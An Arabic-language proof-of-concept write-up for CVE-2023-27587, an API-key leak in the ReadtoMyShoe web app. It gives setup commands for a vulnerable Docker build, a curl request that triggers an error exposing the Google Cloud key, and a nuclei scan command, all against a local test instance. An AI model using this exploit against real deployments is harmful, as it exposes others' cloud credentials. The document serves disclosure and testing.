
PoC البسيط لـ CVE-2023-27587
إثبات المفهوم البسيط لثغرة CVE-2023-27587
ReadtoMyShoe (RTMS) هو تطبيق ويب (rust وyew وaxum) يتيح لك رفع المقالات (عبر URL أو عبر اللصق المباشر) والاستماع إليها لاحقًا.
إذا حدث خطأ أثناء إضافة مقال، يعرض الموقع رسالة خطأ للمستخدم. إذا كان الخطأ ناتجًا عن طلب Google Cloud TTS، فستتضمن الرسالة عنوان URL الكامل للطلب. ويحتوي عنوان URL الخاص بالطلب على مفتاح API الخاص بـ Google Cloud.
$ git clone https://github.com/rozbb/readtomyshoe.git
$ cd readtomyshoe && git checkout v0.2.0
$ echo "GCP_KEY_LEAKED_TEST" > server/gcp_api.key
$ DOCKER_BUILDKIT=1 docker build -t readtomyshoe-vul .
$ docker run -p 9382:9382 readtomyshoe-vul
لا يتم كشف المفتاح إلا عند حدوث خطأ في استدعاء GCP!
curl 'http://192.168.15.201:9382/api/add-article-by-text' -X POST \
-H 'Accept-Encoding: gzip, deflate' \
-H 'content-type: application/json' \
--data-raw '{"title":"Kernsicherheitstest","body":"Kernsicherheitstest"}'
TTS failed: TTS request failed
Caused by:
HTTP status client error (400 Bad Request) for url (https://texttospeech.googleapis.com/v1beta1/text:synthesize?key=GCP_KEY_LEAKED_TEST%0A)

https://github.com/projectdiscovery/nuclei-templates/blob/main/cves/2023/CVE-2023-27587.yaml
$ nuclei -t cves/2023/CVE-2023-27587.yaml -u http://<host>

https://github.com/rozbb/readtomyshoe/security/advisories/GHSA-23g5-r34j-mr8g
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27587